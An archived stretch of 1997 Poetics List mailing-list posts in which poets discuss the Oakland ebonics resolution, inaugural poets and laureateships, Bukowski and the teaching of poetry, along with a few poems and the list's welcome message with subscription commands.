Actually the appointment of an inaugural poet at all bugs me a little. We have these days someone we call a laurate, what we used to call consultant in poetry to the l.o.c., or something like that. It's Robert Hass for now. If it's not his job to write these things then what the fuck is his job? On the other side of the pond where they know a little more about this laurate business, Ted Hughes has to crank one out now & then for the Royal family doesn't he. Somebody having a birthday party and Ted has to _produce_! Maybe I remember wrong but I think Howard Nemerov had the job back when Maya Angelou ascended the inaugural dais. I'd rather have seen Howard and read _his_ poem in the Times the next day. And I'd rather see Hass than whoever this fellow is -- hell he might be a fine poet, I never heard of him. But there's Robert Hass barnstorming for poetry, writing his little column for the Wash Post, trying to get poetry back into the daily newspaper -- what an idea!? the man is nuts! Working his butt off for muse & country and what does he get? "No, no, this is an important occasion -- your invitation's in the mail, Bob, honest, a lot of people haven't gotten theirs yet ..."

Pat

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158. Bil Brown
Re: ebonics and ivoronics
Fri 10 Jan 1997

Okay. I've been watching this discussion for awhile and I finnally have something to say:

The issue is real, and I think important. I do want to say something in RE: to the FACT that AfroAmerican vernacular is NOT specifically an AfroAmerican phenomina.

I am a Louisville native and was gradeSchooled here in public institutions. The education was lax, so if there was intellegence about you you would find OTHER ways of writing to get the shit you wanted across across. This later was considered "poetic writing" and it is the ONL:Y way I KNEW how to communicate thru writing. Then I went thru a process of transformation, thru a process of BECOMING, a process, that in & of itself was structured in vocal "scoring" of text as I heard it & how I thought it.

What ppl call IBONICs is what I call written poetry.

* * *

I hope this isn't vain. I hope no one tries to confront me on this. The deal is: it has taken me a long while to decide MY way of speaking was PROPER and my way of WRITING was effectual. With EUROcentric thot out & out still the PRIME example of creative/expressive communication, anything I say that is differing makes ppl freak.

Could it be that a learning disability is accually a revolutionary pre-cognitive association?

bye bye

Bil Brown

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159. Ward Tietz
Re: Ebonix?
Fri 10 Jan 1997

Steve Vincent, thanks for your stimulating post. The complication for language and literature, I think, in this case and in many others similar to it, is that the modern state still only recognizes and understands grapholects and in many instances we are forced to consider whether this actually facilitates or undermines culture.

We know that it's only through grapholects that modern states and languages exercise power, but it has never been easy or perhaps possible to extricate literature from this mix. In a sense it's no coincidence that language instruction often goes hand in hand with literary texts; it's the way the state puts everything together so that culture and the state are continuous with each other, so that the state can control language, if it has to, in the name of culture, and then also culture in the name of language. Oral forms have always escaped this kind of control because language and "publication" have taken place in such very different ways.

I heard an anecdote about storytellers in Indonesia recently where the state had been trying to record and transcribe the performances of some of them as a means of codifying its national literature. The storytellers considered this to be such a threat to the diversity of the forms that they work in that they all went on strike and refused to tell any more stories.

Ward Tietz

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160. henry g
Re: inaugural poet
Fri 10 Jan 1997

inaugural sonnet from _Island Road_. Bill was interested but I hate crowds (vertigo).

16

The principle of the sword was benign & frozen
an ice-word or presiding ray gone into deep night
or frost mantle like wool over our eyes
at the inaugural horizontal curved like a mirror
a vertigo spiral the principle of the sword
cuts clean & swallows its tale of America

_A palm leaf divided the sky &
lined the donkey road to the divided city._

But I shall always be faithful unto you, dogwood
though I was untrue like a bad American shepherd
weak & hysterical in a dead decade's light
it's just the principle of the sword that tries
like a royal finger
to blot out all those memoirs made of sighs

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161. Susan Wheeler
Re: Ebonix?
Fri 10 Jan 1997

A question for the list: do those of you who are white out there steer clear of using "black standard English?" If not, is there some ambivalence about ownership and appropriation? How do you demarcate its use: vocabulary, grammar, etc.?

Is there a gender-specific "standard English"? Is it more easily transgressed than an ethnically-based one? Any thoughts?

The best piece I've seen on this via poems was Catherine Gammon's "Issues of Appropriation Penn Station, March 1991" in an old Ploughshares. Other recos?

Susan Wheeler

"And leaning asking from the car
Cannot tell us where we are."
  Easy Knowledge, 1930, Auden

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162. tmandel
Eustache
Fri 10 Jan 1997

I think I looked in the Facets catalogue for Eustache a couple of years ago and didn't find anything.

I knew he died young; his other (first) feature was about dropout teenagers -- juvenile delinquents! (btw, tell Jesse not to worry abt the juice stains). It was good but not preparation for M/W which is really an incredible film.

I'll look at the most recent Facets (in DE this weekend) and hope to find something.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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163. David Bromige
plunging in w/o knowing the whole of history
Fri 10 Jan 1997

it's good to see herb levy's description of one trait it takes to be a poet--putting to a fresh use something that preceded him even if s/he doesnt know everything about how it got there. For after all, we are born into a world full of so many things, we'd die before we put a word to paper were we constituted otherwise. Good on you, herb! and thanks for the inspiration re-clothing. (navyblue sweats over navyblue swimsuit, the blue shirt describved some days ago, navy blue pullover--off for early swim at local outdoor pool, ice on the windshield to be scraped no doubt, but will just plunhe right in) db

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164. Christopher Alexander
Re: Ebonix?
Fri 10 Jan 1997

> *...the state can control language, if it has to, in the name of culture, and then also culture in the name of language. Oral forms*

> *have always escaped this kind of control because language and "publication" have taken place in such very different ways.*

with regard to wards post--and that sort of cheering anecdote-- I'm wondering what people think about the possible effects of the state codifying (attempting to codify) "ebonics" (there, you see, its already begun--can you think of a smarmier, etc.). as with the indonesian storytellers, we seem to be faced with the 'museum effect' here, where the taxonomy of a cultural form removes that form from (or at least impacts) the conditions of its production, has a reifying influence--"a threat to the diversity of forms"--that makes of their particulars a glass-eyed taxidermy project. "Here we have Myrmecophaga Jubata, the common ant bear..."

my webster's (there's an irony)gives "taxonomy" as the "orderly classification of plants and animals according to their *presumed natural relationships*" (emphass addtd)--but any biology or botany I've read quickly drops the "presumed" in the name of 'pure' science.

course I'm not predicting that "ebonics" will strangle language-- we know (we?) that language has a way of violently defying its tax8nomy--but there are troubling ramifications to official 'recognition'--authoritative characterization--in general. I'd expect that "ebonics" will provide what is possibly a necssary visibility [says doubtfully]--but at th cost of misrepresentation. "see, its alright--he saw it on the television." the 'purists' of language & arnoldian culture-philes are frequently (and rightly so) pooh-poohed, but only to the effect that difference is squelched and an official version of our movements given. "raise yr hand if you wanna be represented by the state--and repeat after me."

c (really really not claiming access to the 'genuine')

..
christopher alexander, etc.
[redacted]

one sea -
shell sea is calling
from across the world

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165. **Pritchett,Pat**
Re: inaugural poetry...
Fri 10 Jan 1997

Oh. Miller Williams. Duh. I'm turning 40 tomorrow and have been a bit ditzy all week (as well soaking my brain cells in a lot of single malt c/o of kind friends).

As far as I know, there is no tradition per se of inaugural poets. JFK started it off with Frost and the practice seems to have begun and ended there until Clinton revived it with Maya Angelou as a way of conferring historical importance on his bad self.

Does anyone know of such practices in the 19th Century? I'm sure there is a history of poetry/state occasions a/o alliances that would include both colonial poems written to celebrate conquest (i.e. destruction of Native Americans) and Whitman's "When Lilacs Last..."

I agree that writing such a critique is easier sd than done. And while it's nice in a way to see poets of any stripe getting the kind of wide public recognition that an inaugural reading can bestow - based on the idea that what helps one poet helps Poetry in general - the business of inaugural readings seems both to flatter a certain image the culture has of itself as literate (while at the same time playing up to the royalist pretensions of "laureateship") even as it co-opts poetry's more vital role as a subversive force operating in the margins, an anodyne and/or riposte to the status quo, what Agee meant when we wrote about "the emasculation of acceptance."

Patrick Pritchett

From: Matthias Regan
To: POETICS
Subject: Re: inaugural poetry...
Date: Friday, January 10, 1997 9:23AM

miller williams apparently: I just saw it in a recent post of the same title as yours & mine

O, (nodding) I agree. & such critiques are not I think easy to write--largely because of what we belive constitutes "poetry" (ie, not always "individual" voice and "the big picture" but usally at least one of these Romantic conceits is regarded as necessary; and of course these are not necessarily Romantic, going back at least as far as Sidney's "Defense..." But then again, some of the 15th & 16th C. poets wrote beautiful political poems: Wyatt, Raleigh--they weren't always towing the state line either & consequenes could be serious (the block) Still, I continue to wonder just how such things are decided these days. Can anyone name the last five inagural poets; maybe some conclusions may be drawn.

Matthias (scribbling at the far edge of the work day)

Matthias Regan
Northwestern University

Department of Chemistry
Phone: 847/[redacted]

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166. **amato**
Re: Ebonix?
Fri 10 Jan 1997

---

kudos to stephen vincent for opening up a vital area of controversy... i like everything you say about ebonix, stephen, and find the public hostilities toward it on the basis of "standards" regrettable... and in part the media's doing---i haven't seen any particularly good coverage...

there were some odd publications came out during the sixties that addressed language cross-overs... in retrospect they look like antiques... i have one right here, let's see---

play it cool in english, by john dawkins and frank riessman (follet, 1967---evidently takes its title from langston hughes' "motto")... it's really a sort of workbook---for kids... it begins

"this book is about hip words"

some of the "hip words" include, like, LIKE... i mean, "like" used the way i've just used it, and also "i mean" used as in this sentence... it's amazing how many of the words/expressions come from "black english" (and street)... and how many have since found a very comfortable, noncontroversial place in our daily language...

best,

joe

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167. **robert drake**
Re: Ebonix?
Fri 10 Jan 1997

---

as always, i feel frustrated by having to rely on mass-media reports about this issue, rather than first-hand data... USA Today ran the following *edited* version of the board ov ed resolution--altho i distrust the editing, it's better than 4th-hand intepretations... anybody have access to the full text?

lbd

---------- Text of the resolution by the Oakland Board of Education adopting the report and recommendations of the African-American Task Force:

Whereas, numerous . . . studies demonstrate that African-American students as a part of their culture and history as African people possess and utilize a language described in various scholarly approaches as "Ebonics" (literally "Black sounds") or "Pan-African Communication Behaviors" or "African Language Systems"; and

Whereas, these studies have also demonstrated that African Language Systems are genetically based and not a dialect of English; and

Whereas, these studies demonstrate that such West and Niger-Congo African languages have been officially recognized and addressed in the mainstream public educational community as worth(y) of study, understanding or application of (their) principles, laws and structures for the benefit of African-American students both in terms of positive appreciation of the language and these students' acquisition and mastery of English language skills; and

Whereas, such recognition by scholars has given rise over the past 15 years to legislation . . . recognizing the unique language stature of descendants of slaves, with such legislation being prejudicially and unconstitutionally vetoed repeatedly by various California state governors; and

Whereas, judicial cases in states other than California have recognized the unique language stature of African-American pupils, and such recognition by courts has resulted in court-mandated educational programs which have substantiallybenefited African-American children in the interest of vindicating their equal protection of the law rights under the 14th Amendment to the U.S. Constitution; and

Whereas, the Federal Bilingual Education Act . . . mandates that local educational agencies "build their capacities to establish, implement and sustain programs of instruction for children and youth of limited English proficiency"; and

Whereas, the interests of the Oakland Unified School District in providing equal opportunities for all its students dictate limited English proficient educational programs recognizing the English language acquisition and improvement skills of African-American students are as fundamental as is application of bilingual education principles for others whose primary languages are other than English; and

Whereas, the standardized tests and grade scores of African-American students in reading and language arts skills measuring their application of English skills are substantially below . . . norms and that such deficiencies will be remedied by application of a program featuring African Language Systems principles in

instructing African-American children both in their primary language and in English; and

Whereas, standardized tests and grade scores will be remedied by application of a program with teachers and aides who are certified in the methodology of featuring African Language Systems principles in instructing African-American children both in their primary language and in English. The certified teachers of these students will be provided incentives including, but not limited to salary differentials.

Now, therefore, be it resolved that the Board of Education officially recognizes the existence, and the cultural and historic bases of West and Niger-Congo African Language Systems, and each language as the predominantly primary language of African-American students; and

Be it further resolved that the Superintendent in conjunction with her staff shall immediately devise and implement the best possible academic program for imparting instruction to African-American students in their primary language for the combined purpose of maintaining the legitimacy and richness of such language whether it is known as "Ebonics," "African Language Systems," "Pan-African Communication Behaviors" or other description, and to facilitate their acquisition and mastery of English language skills; and

Be it further resolved that the Board of Education hereby commits to earmark District general and special funding as is reasonably necessary and appropriate to enable the Superintendent and her staff to accomplish the foregoing; and

Be it further resolved that the periodic reports on the progress of the creation and implementation of such an educational program shall be made to the Board of Education at least once per month commencing at the Board meeting of December 18, 1996.

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168. **henry**
Re: inaugural poetry...
Fri 10 Jan 1997

WV Moody wrote a pretty interesting old-fashioned civic poem against US imperialism (newly hatched) - "Ode in Time of Hesitation". - HG

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169. Miekal And
Re: BUK
Fri 10 Jan 1997

<ah wilderness! db

ah
the
landscape
dreamt

reinventing
the words
"poetry"
arent

all
speech
fuckt at

Miekal somewhere late in the twentieth century
--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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170. william marsh
Re: Ebonix?
Fri 10 Jan 1997

perhaps Emerson would serve as a good epigraph to this discussion:

"The poets made all the words, and therefore language is the archives of history, and, if we must say it, a sort of tomb of the muses. For, though the origin of most of our words is forgotten, each word was at first a stroke of genius, and obtained currency, because for the moment it symbolized the world to the first speaker and to the hearer.... Language is fossil poetry."

dialect = the new oral poetry?

today's standard = fossilized slang

messing with words = cracking the muse tomb

etc.

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171. Jordan Davis
Re: ebonics and ivoronics
Fri 10 Jan 1997

Oakland school system's been under attack for so long --
teacher's strike last year or the year before was broken, I believe --
no reason to make any more places Sarajevos --
I encourage each writer and publisher on this list to send books
for free to the Oakland BOE for their school libraries --

OAKLAND UNIFIED SCHOOL DISTRICT
900 High St
Oakland CA 94601

[redacted]

of course you may prefer to donate books to school libraries nearer to where you live...

it's a somewhat empty patronizing gesture, to be sure,
but at least one teacher I know there appreciates it.

Jordn Dvis

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172. Aldon L. Nielsen
Re: ebonics and ivoronics
Fri 10 Jan 1997

Can't spel for any others, but one reason (aside from being deathly ill) that I did not mention the "ebonics" news here is my sense that the debate that was shaping up nationally had very little to do with the merits or actual content of the Oakland school board's (to my way of thinking) ill-conceived and poorly presented proposal [make that "speak" for "spel" up there -- I can't spell for others either! -- but will be back at my correctable keyboard in a couple weeks] -- AND the national debate has had even less to do with the actual speaking and writing practices of any real black students in American classrooms --

within five hours of the wire story's appearance, what Oakland proposed was being presented in the media as a proposal to teach "bad English," to teach "ghettoese" or, in Mary McGrory's Washington Post column, to legitimize "gibberish" -- What became immediately evident was that for most white writers in the national press, the term "black English" (always problematical enough in its massive reifications of whatever people already have in their head as a signfied

for that term) was synonmous with "ghetto" language, street slang, bad English and gibberish.

Eleanor Traylor was asked about this at the conclusion of the Toni Cade Bambara panel at the NLA, apparently because ebonics, like Farrakhan and O.J., is something that all black people must have a ready opinion about for the benefit of white interrogators -- as Traylor made clear to her audience that day, even if a student wants to write in Yourba, the writing has to follow rules -- and why would anyone assume that those rules would be "easy"? Still, and this is one of those few things that Eleanor and I agree about, she opined that this debate was nonsense and distraction from the real problems of public education --

I confronted a similar oddity three years ago at San Jose State -- the head of undergraduate education brought a proposal to the campus-wide committee to award BA level foreign language credit for "dialectal" students in "developmental" English courses -- That fell apart when I pointed out to the man in charge of our entire undergraduate program that the program had no foreign language requirement, and so his proposal would only have added hours to the BA programs of the students without gaining them any credit toward any program --

The real question for me remains, what do Americans hear in their minds when they think of the English of black people? None of my students (even in LA) sound like that Rap soundtrack that most writers of editorials seemed to have playing in their heads --

Those of us who were lingering in the Sheraton at the close of the MLA had the discouraging experience of watching ch. 7 news grabbing at any black person who happened down the hall trying to get the sound-bites they wanted for the evening ebonics news -- They aired five seconds of Hortense Spillers -- was she speaking a foreign language???

This has not been a debate about how black Americans do things with English words, nor has it been a debate about how to teach black American school children -- It has been a massive public venting of prejudices that BEGINS with the assumption that the people engaging in the debate already know what constitues black English (ebonics/gibberish -- with no spelling out of particulars in either case!)

with continued apologies for my typing, here's a closing bit of good sense from Patricia Williams:

Perhaps the real argument is not about whether ebonics is a lnaguge or not. Rather, the tension is revealed in the contradiction of black speech being simultaneously understood yet not understood. Why is it so overwhelmingly, even colorfully comprehensible in some contexts, particularly in sports and

entertainment, yet deemed so utterly incapable of effective communication when it comes to finding a job as a construction worker?

---
colorless green ideas do be sleeping furiously
--the sayings of King Fish

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173. **John E. Matthias**
Re: True North/ND Review
Fri 10 Jan 1997

> *...*
>
> *_NDR_ nos. 1 and 2 can be visited at our WEB site:*
> *http://www.nd.edu/~english/ndr/ndr./htm.*
>
> *that would be:*
>
> *http://www.nd.edu/~english/ndr/ndr.htm*
>
> *and Stephanie Strickland's work can be found at:*
>
> *http://www.nd.edu/~english/ndr/strickln.htm*

Yes, that's it. Thanks for the correction.

JM

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174. **amato**
Re: ebonics and ivoronics
Fri 10 Jan 1997

aldon, nice post!... you've cleared up some of the mist surrounding the way 'ebonics' is playing itself out publicly...

hope you're feeling better...

best,

joe

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175. GRAHAM W. FOUST
Gwyn and Mark and Carolyn and Joan
Fri 10 Jan 1997

Aloha.

Last spring, I taught a class at GMU on Merwin, Oppen, Celan, and Berryman. We began with Celan, and after the first assignment (selections from Breathturn), one student raised their hand and said that he didn't really like what he had read because it was "confusing as all get out." The class (and I) laughed, and when I asked him to clarify what he meant by "as all get out," he couldn't, and dismissed it as "an expression," that is, something that is learned, passed on, and through these practices, needs no defining. "Official verse culture" seems to enjoy handing us poems this way as well. "I know what art is, but I don't know what I like."

So what interests me even more than an audience that "ought to be familiar" (Gwyn) is "clearly incredible poetry" (Mark).

While Joan Retallack's work may be incredible, it is not, in any "official verse culture" sense of the word "clear" and this is probably the reason for it's not being taken as "credible" in that culture.

Given that poetry is hardly mainstream even at its most mainstream, it is no surprise that people like to keep it safe, tidy, and sighing. That is, "clear" and recognizable as "poetry." They do this because they, for some reason or another, distrust it from the very beginning. People don't like people messing with "their" language. Therefore, the less messed-with it is, the better. This has been talked about a jillion times over, so I'll quit this one here.

But if "experimental" poetry is dismissed as not living up to a certain "poetic standard," then what standards would some of those "avant-garde" poets be using when they say they don't like Carolyn Forche's poetry? Is it, perhaps, too "clear"? Wallace Stevens's "It must be abstract" followed by some nebulous " . . . if it's to be any good at all"? Then again, I rarely get into conversations about poetry that I don't like (and most of those usually happen by accident). Maybe we should talk more about that, although maybe that's a waste of good energy.

At any rate, by the end of the semester, my class was having pretty heated arguments over who was "better": Merwin, Oppen, Celan, or Berryman. I tended to let these arguments continue for a while because I found them absolutely fascinating. I mean, here were 30 or so people, who, if they had been exposed to poetry at all, it was in their high school AP English classes (Eliot, Pound, Whitman, Dickinson) or Rita Dove, Charles Bukowski, Maya Angelou on their own (I did a little poetry "survey" on the first day of class). All, as we might say "mainstream"/canonized poets. (Plus Bukowski, I know, I know . . .) Obviously, the

students HAD to read the four poets I selected (they had to write papers, attend class discussions, etc.), but they certainly didn't have to argue about their value as artists/writers. They could have just listened to me drone on and on . . .

So, if we are exposed to something that moves us to speak (or irritated enough that something did not move us to speak, and therefore moved to speech in a different way), we will project some sort of "taste" to (and, in many cases, ON) those around us.

I have read wonderful pieces on poets that I love by poets that I'm not all that crazy about: Louise Gluck on Oppen, Heaney on Celan and Beckett, Robert Hass on Robert Creeley. Given that these are poets writing on poets, I wonder if our own poetry (mine, yours, his, hers) is ever a decent reflection of our tastes in poetry. I wonder, too, if baffled silence is a negative reaction.

Poetry can be and is, certainly, a political discourse. However, it is also an artistic discourse, which gives it (and us) the freedom to "contain multitudes." I can like Oppen AND Gluck (Oppen and Merwin for that matter), Joan Retallack AND Seamus Heaney, if I so choose. This doesn't necessarily mean that I have no standards or even "wackily ecclectic" standards. It means that I have been, in some way, moved by what these people have made.

One danger in all this is that I'm more likely to be moved if someone's talking about something that I already like. But this has produced so many conversations and, through these conversations, many friendships. It's the way we work, so distrusting it completely is impossible. Another danger is that we begin to discuss whether or not people are being moved for the right reasons. Talking about art is a topic-centered discourse, while art seems to be (primarily) a person to person discourse (although the people involved are not necessarily specific at the time of the making). So what are we talking about when we talk about talking about poetry?

Bests,

Graham

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176. Charles Bernstein
turning left, turning right, tumbling (Re: Riding)
Fri 10 Jan 1997

Chris Stroffolino,

My essay on Rational Meaning, and the book itself, is too involved to summarize here so I'd rather you read one or both before I add much more. However --

> *Riding's politics moved in an opposite direction as Oppen? In what sense do you mean this? There's an implication that Oppen's leftism and his return to poetry are related, while Riding's attempt to critique certain aspects of poetry from a seemingly genreless perspective may invoke a kind of "rightism?"*

Oppen's politics are related to his poetic turnings just as Riding's politics are related to hers (one leading to return, the other to a final turn away). But more significant, at least in regard to questions of language, the political issues became, for both, fundamentally ethical questions. -- I am not being especially metaphoric or elusive about Oppen to the left or Riding to the right. These are declared allegiances as the 1930s came to a close. Notable in this respect is Riding's tract The Left Heresy in Literature and Life, co-authored by "ex-Communist" Harry Kemp. This was one of the two last books that Riding published in 1939; she didn't publish another book till the 1970 selected.

> *Are you implying that Riding's "voiceless telling" does away with "poetic turning?"*

No, I am saying the opposite; but in saying the opposite I am certainly contradicting (or turning around again) Laura and Schulyer Jackson's claim, that "poetic telling" and especially poetic turning is no telling at all, but a falsity.

Let me add one further note on this in the light of the recent discussion of dialect on the list (and thanks, Steve Vincent and Aldon Nielsen, for your posts). One of the problems with *Rational Meaning* is it's rejection of language change: it argues not for standard English but for the linguistic truth of the English of Spencer, with a deterioration ever since. This is an extreme position, but it is implicit in many of advocates of "correct" English, as opposed to "standard" or what I would prefer to call "conventional" English. This implicit, and false, idea of correctness comes up repeatedly in the review of the new "Fowler," for example, and is also a crucial if often tacit part of the recent public discussion of dialect. A great value of *Rational Meaning* is that it doesn't hedge on this argument. It shows what is behind much of the neoliberal posturing on this issue by its adamant rejection of a neoliberal facade.

By the way, my essay on nonstandard English (the ideology of dialects), "Poetics of the Americas", written for Aldon Nielsen's forthcoming collection of essays, "An Area of Act": Race and Readings in American Poetry, is now available on line at the Modernism/Modernity web site (it's published in the M/M vol. 3 #3). You can find this at http://writing.upenn.edu/authors/bernstein HOWEVER: this is only good for those affiliated with an institution that has a subscription to Johns Hopkins Press's Muse project. If you would like to get an HTML file of this essay, but only if you can receive this as an attachment to an email, let me know **BACKCHANNEL** ([redacted]) and I will attach the file to my reply.

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177. David Bromige
BUKOWSKI
Fri 10 Jan 1997

Graham--but Bukowski doesnt need to be a parenthetical demurrer from a list of "acknowledged widely" or "mainstream"(what we call "maindrain" on the Britipoetlist). He's as predictable as donuts. The only cause of his being declared (by a New Orleans zine) "Outside of the Year" in 1962 was the raunchy nature of his subjectmatter. Later, as a public developed, his public persona became a cause de scandale, of course. But not formally nor in any other sense of "mens" did he trailblaze--he's really like rod mckuen but daring to be a person. He _belongs_ on that list you provide, and once more we see a strange unerring factor in halfeducated undergrads as they pick their poets. And this choice is absolute for a spell (at their age, I couldnt find enough Dowson to keep me alive). after all, theyre there to be further educated. I taught college for 25 yrs and based on what i met there would say that it were better poetry be not taught at all in high school rather than the way it usually is. . .so many of my students were poetry-damaged, unable to relax and let the capta sort itself out from the data.They cd only recognize a poem when it was in the missionary position. that a poem might be as opaque as a person, capable of many kinds of caress, much playful laughter, of brooding witholding silences,of orderly thought or persuasive choplogic, of trivial drivel, of witty observations--that it might even be a dreadful machine psychotic--they had not been permitted, though in their years of sturm und drang, to realize: it was a little problem with pretty or pretty awful pictures, and could be solved by identifying and then adding together its (not too) various elements. and the teacher had the answer.Well, the teacher has some of the answerS, let us hope! but so does the student. However, the finality of their taste cannot endure, if the vast range of excitements poetry offers can be indicated to them. please pardon my running on. its the wine i had with lunch. it wasnt just any wine. but the effect is no doubt indistinguishable. ah dove! ah buke! ah wilderness! db

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178. maria damon
Re: Gwyn and Mark and Carolyn and Joan
Fri 10 Jan 1997

graham faustus writes:
>
> At any rate, by the end of the semester, my class was having pretty heated
> arguments over who was "better": Merwin, Oppen, Celan, or Berryman. I

> tended to let these arguments continue for a while because I found them
> absolutely fascinating.

1. celan.
2. tell us what was fascinating about these heated debates?
md

↑ Index

179. **DS**
Re: Ebonix?
Fri 10 Jan 1997

Isn't Ebonix a character out of 'Asterix', I think the wife of Ivorix?

↑ Index

180. **Eliza McGrand- CVA Guest**
death and taxes
Fri 10 Jan 1997

---

i'm about to go off and do grossly overdue tax forms i can't pay and wrote the following. if i include it with the forms, do you think it will influence Them (the state, the organ of the state, the banks of the organ of the state) to slow their grinding...?

... would it be a performance-peice on the powers of the writer in the State? a shaky fist lifted to bless and curse its own powerlessness...?

The Writer Pauses Before Entering Tax Square

About to enter the Room of Taxes
all is taut: a snowflake bounces across
the trip of a tight wire; a cat
shakes the rigid legs of a dead
red squirrel then drags it off.

I am that squirrel. My money's blood
dried, my jaw in a rictus of debt.
Each form is a shovel-full on
planks of a grave too poor for a coffin,
rubbings from a headstone not paid for.

e. mcgrand

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181. robert drake
Re: turning left, turning right, tumbling (Re: Riding)
Fri 10 Jan 1997

folks (like mself) who had been interested in reading charles' review of johanna drucker's _the visible world_, but who couldnt get to it earlier, will now find it on the "sample issue" pages of Mondernism/Modernity, at:

http://muse.jhu.edu/demo/modernism-modernity/2.3br_drucker.html

worthwhile checking it out while you can, as per discussions earlier this week... and releted, charles' hopepage at the epc is, of course:

http://writing.upenn.edu/epc/authors/bernstein

lbd

> *By the way, my essay on nonstandard English (the ideology of dialects), "Poetics of the Americas", written for Aldon Nielsen's forthcoming collection of essays, "An Area of Act": Race and Readings in American Poetry, is now available on line at the Modernism/Modernity web site (it's published in the M/M vol. 3 #3). You can find this at http://writing.upenn.edu/authors/bernstein*
> *HOWEVER: this is only good for those affiliated with an institution that has a subscription to Johns Hopkins Press's Muse project. If you would like to get an HTML file of this essay, but only if you can receive this as an attachment to an email, let me know **BACKCHANNEL** ([redacted]) and I will attach the file to my reply.*

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182. Carla Billitteri
Re: ebonics and ivoronics
Fri 10 Jan 1997

> *Eleanor Traylor was asked about this at the conclusion of the Toni Cade Bambara panel at the NLA, apparently because ebonics, like Farrakhan and O.J., is something that all black people must have a ready opinion about for the benefit of white interrogators*

of course her paper was about black english as a literary language, but the general point remains true about "interrogators"

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183. **Aldon L. Nielsen**
Re: ebonics and ivoronics
Fri 10 Jan 1997

Traylor's paper was in fact about Toni Cade Bambara's essay on Black English of many years prior to Oakland/Ebonics ii I did not mean that the question was ENTIRELY unrelated to the paper, but that the question had little to do with the exploration of Bambara that had just been offered --

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184. **Poetics List**
New and Improved Welcome Message
Fri 10 Jan 1997

Note that this new version of the welcome message includes the new listserv address. The new address is in effect now, so send messages to

[redacted]

Rev. 11-15-96

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]) and
Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is currently working on the administration of the list. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and

then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

